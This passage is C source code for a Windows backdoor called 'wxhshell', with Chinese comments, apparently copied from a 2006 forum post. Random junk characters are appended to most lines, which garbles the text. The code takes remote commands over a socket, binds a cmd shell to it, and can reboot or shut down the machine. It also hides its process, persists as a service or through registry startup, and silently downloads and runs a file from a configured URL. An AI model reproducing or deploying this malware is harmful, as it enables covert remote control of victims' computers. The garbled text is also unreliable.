      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^|UD&6 dx  
    break; :v B9z  
  } S.R|Bwj}(Y  
  // 安装 q(\kCUy!  
  case 'i': { qtlcY8!  
    if(Install()) Csf!I@}Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pB:/oHV  
    else K:q|M?_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,!vI@>nhG  
    break; pg.BOz\'q  
    } (Tv~$\=  
  // 卸载 TOw;P:-  
  case 'r': { bc]SY =  
    if(Uninstall()) `q m$2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !6FO[^h||H  
    else cq"#[y$r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f-`C1|\w  
    break; CLgfNrW~  
    } nduUuCIY.  
  // 显示 wxhshell 所在路径 2#Du5d  
  case 'p': { x(7Q5Uk\  
    char svExeFile[MAX_PATH]; a`6R}|ZB  
    strcpy(svExeFile,"\n\r"); ")Qhg-l  
      strcat(svExeFile,ExeFile); y`\rb<AZ*t  
        send(wsh,svExeFile,strlen(svExeFile),0); agd^ga3  
    break; Sb.%B^O  
    } vLIaTr gz  
  // 重启 &3f^]n!@  
  case 'b': { 4SJb\R)XK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o&MOcy D  
    if(Boot(REBOOT)) R1~wzy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "sYZ3  
    else { f~:wI9  
    closesocket(wsh); 6,~]2H'zq  
    ExitThread(0); |3G;Rh9w,  
    } ~EM(*k._  
    break; n;LjKE  
    } LRqlK\  
  // 关机 "t%Jj89a\  
  case 'd': { C."\ a_p  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `r]C%Y4?  
    if(Boot(SHUTDOWN)) :6J&%n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dWP<,Z>  
    else { M{g.x4M@W  
    closesocket(wsh); HcM/  
    ExitThread(0); `(M0I!t  
    } (qzBy \\p  
    break; Y+{jG(rg.F  
    } 1D1qOg"LE  
  // 获取shell dP?QPky{9  
  case 's': { D2I|Z  
    CmdShell(wsh); 3F32 /_`  
    closesocket(wsh); @H$Sv   
    ExitThread(0); |t~*!0>3  
    break; ?5;N=\GQ  
  } ~l}\K10L*  
  // 退出 VIg6'  
  case 'x': { #^{%jlmHxJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #, h0K  
    CloseIt(wsh); Nu euCiP  
    break; z9E*1B+  
    } JCci*F#r  
  // 离开 5?m4B:W  
  case 'q': { iN_P25Z<r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); EiVVVmm!  
    closesocket(wsh); $'<FPbUtD}  
    WSACleanup();  uU=!e&3  
    exit(1); g3 Oro}wt6  
    break; l{*Ko~g  
        } =1y~Qlu  
  } &+3RsIl W  
  } x[xRqC vL  
>[;L.  
  // 提示信息 yMt:L)+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wVs"+4l<  
}  ozKS<<  
  } Eihy|p  
}X. Fm'`  
  return; F"1tPWn  
} x_CY`Y  
lOM8%{.'_x  
// shell模块句柄 Ze <)B *  
int CmdShell(SOCKET sock) zB/VS_^^W:  
{ iCCe8nK  
STARTUPINFO si; _l+C0lQl=  
ZeroMemory(&si,sizeof(si)); &xZSM,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f8ZuG !U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J *38GX+  
PROCESS_INFORMATION ProcessInfo; T 2_iH=u  
char cmdline[]="cmd"; Kv)}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ":q+"*fy  
  return 0; GFju:8P?  
} B&_Z&H=  
mX!*|$bs  
// 自身启动模式 ;&'ryYrex  
int StartFromService(void) c,O;B_}M]  
{ 62MQ+H  
typedef struct H_Xk;fM  
{ pe<T" [X  
  DWORD ExitStatus; e=aU9v L  
  DWORD PebBaseAddress; _#MKpH  
  DWORD AffinityMask; OCq5}%yU&i  
  DWORD BasePriority; f( Dtv  
  ULONG UniqueProcessId; ~ch%mI~  
  ULONG InheritedFromUniqueProcessId; zR <fz  
}   PROCESS_BASIC_INFORMATION; A\W) uwyN  
t&NpC;>v  
PROCNTQSIP NtQueryInformationProcess; @WJ\W`P  
:KR KD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e6bh,BwgQq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OhMJt&s9P=  
s~bi#U;dF  
  HANDLE             hProcess; _*n `*"  
  PROCESS_BASIC_INFORMATION pbi; cD=IFOB*GD  
gFrNk Uqp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =FI[/"476  
  if(NULL == hInst ) return 0; sH_, P  
%K.rrn M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0w0{@\9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Jz3,vV fQ:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >\3\&[#"  
(xoYYO  
  if (!NtQueryInformationProcess) return 0; W amOg0  
D6|-nl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z1 MT@G)S$  
  if(!hProcess) return 0; K#AexA  
$45.*>,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zx,9x*g  
f$n5$hJlQ  
  CloseHandle(hProcess); iRlpNsN  
erbk (  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Cl!(F 6K*  
if(hProcess==NULL) return 0; h_+  
H0sTL#/L\  
HMODULE hMod; V=% ;5/  
char procName[255]; {7c'%e  
unsigned long cbNeeded; Q;!rN)  
h3&|yS|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -`eB4j'7  
Z<^!N)  
  CloseHandle(hProcess); |2@*?o"ll  
k4hk* 0Jq  
if(strstr(procName,"services")) return 1; // 以服务启动 %D8.uGsh  
CswKT 9  
  return 0; // 注册表启动 \!BVf@>p%  
} M@<9/xPS  
Y&8,f|{R  
// 主模块 .RJMtmp  
int StartWxhshell(LPSTR lpCmdLine) Cl9nmyf   
{ m%apGp'=1  
  SOCKET wsl; )RvX}y-  
BOOL val=TRUE; 7`&ISRU4  
  int port=0;  k4dC  
  struct sockaddr_in door; /]5*;kO`  
mfaU_Vo&  
  if(wscfg.ws_autoins) Install(); \`xlD&F@U  
dXQC}JA  
port=atoi(lpCmdLine); Iia.`"S  
%Q0R] Hg  
if(port<=0) port=wscfg.ws_port; :S_]!'H  
\3^ue0  
  WSADATA data; fz:(mZ%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )"6-7ii7(f  
~'KqiUY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n+hL/aQ+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3oMHy5  
  door.sin_family = AF_INET; 7 [1|(6$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =3w;<1 ?'  
  door.sin_port = htons(port); p^|l ',e  
W_JO~P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2wIJ;rh  
closesocket(wsl); M?%x= q\<  
return 1; ceJi|`F  
} #o4tG  
6{HCF-cQd  
  if(listen(wsl,2) == INVALID_SOCKET) { &k%>u[Bo  
closesocket(wsl); !p/?IW+  
return 1; HdI)Z<Krp  
} ~vt9?(h  
  Wxhshell(wsl); z_fjmqa?  
  WSACleanup(); {#k[-\|;  
\"nut7";2  
return 0; bC1G5`v_D  
iP"sw0V8  
} >VkBQM-%  
diY7<u#  
// 以NT服务方式启动 9"]#.A^Q*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uoI7' :Nv  
{ U\tx{CsSz  
DWORD   status = 0; R~k`KuY@!  
  DWORD   specificError = 0xfffffff; %NxQb'  
~s'tr&+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K8&;B)VT>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ngl +`|u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u6ULk<<\  
  serviceStatus.dwWin32ExitCode     = 0; src+z#  
  serviceStatus.dwServiceSpecificExitCode = 0; V+O,y9  
  serviceStatus.dwCheckPoint       = 0; yQ N{)rv  
  serviceStatus.dwWaitHint       = 0; Jq'8"  
P8,Ps+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *b. >  
  if (hServiceStatusHandle==0) return; I1U2wD  
}Ze*/ p-  
status = GetLastError(); Xi98:0<=  
  if (status!=NO_ERROR) j,+]tHC-  
{ Q7$o&N{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Wjw ,LwB  
    serviceStatus.dwCheckPoint       = 0; j fY7ich  
    serviceStatus.dwWaitHint       = 0; p/HDG ^T:u  
    serviceStatus.dwWin32ExitCode     = status; LnI  
    serviceStatus.dwServiceSpecificExitCode = specificError; Sz go@x$^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mOsp~|d  
    return; RDp  
  } 9_?xAJ  
:lcq3iFn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y#ZgrziYM  
  serviceStatus.dwCheckPoint       = 0; -V|"T+U  
  serviceStatus.dwWaitHint       = 0; Kf[d@ L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V}#X'~Ob  
} :eVZ5?F  
t~->&Ja   
// 处理NT服务事件,比如:启动、停止 -Lh7!d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TJO$r6&  
{ tX{yR'Qhu  
switch(fdwControl) 9Ux(  
{ fORkH^Y(&  
case SERVICE_CONTROL_STOP: 3 !@  
  serviceStatus.dwWin32ExitCode = 0; lD/9:@q\V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J~k9jeq9  
  serviceStatus.dwCheckPoint   = 0; :CyHo6o9  
  serviceStatus.dwWaitHint     = 0; /*mF:40M;  
  { (jM0YtrD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MEiP&=gX!  
  } +(3_V$|Dv  
  return; D(AH3`*|#  
case SERVICE_CONTROL_PAUSE: 7MKX`S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M6)  G_-  
  break; bO=|utpk  
case SERVICE_CONTROL_CONTINUE: ;.A}c)b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]%' AZ`8  
  break; AI-*5[w#A  
case SERVICE_CONTROL_INTERROGATE: E#B-JLMGl  
  break; *2G6Q g F  
}; {{?g%mQ6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lK0ny>RB  
} r7m~.M+W"  
Ttluh *  
// 标准应用程序主函数 FZr/trP~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v`HE R6  
{ 2%W;#oi?  
*GT=U(d  
// 获取操作系统版本 <+roY"  
OsIsNt=GetOsVer(); r )F;8(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w&p+mJL.  
a5 D|#9  
  // 从命令行安装 O$,F ga  
  if(strpbrk(lpCmdLine,"iI")) Install(); XcVN{6-z  
j/O~8o&  
  // 下载执行文件 >t+U`6xK  
if(wscfg.ws_downexe) { r;#"j%z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v/+ <YU  
  WinExec(wscfg.ws_filenam,SW_HIDE); x[(6V'  
} 5R7x%3@L  
-NBVUUAgN  
if(!OsIsNt) { +V3mF_s|z  
// 如果时win9x,隐藏进程并且设置为注册表启动 DX s an  
HideProc(); J2bvHxb Rd  
StartWxhshell(lpCmdLine); qX\*l m/l  
} Pq;OShU_  
else Ar`+x5  
  if(StartFromService()) M3(N!xT  
  // 以服务方式启动 !J$r|IX5  
  StartServiceCtrlDispatcher(DispatchTable); `Ij@;=(  
else AI|vL4*Xd  
  // 普通方式启动 W0qR? jc  
  StartWxhshell(lpCmdLine); ?:(y  
&@0~]\,D7  
return 0; Q_5 l.M/9]  
}
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只看该作者 1 发表于: 2006-10-10
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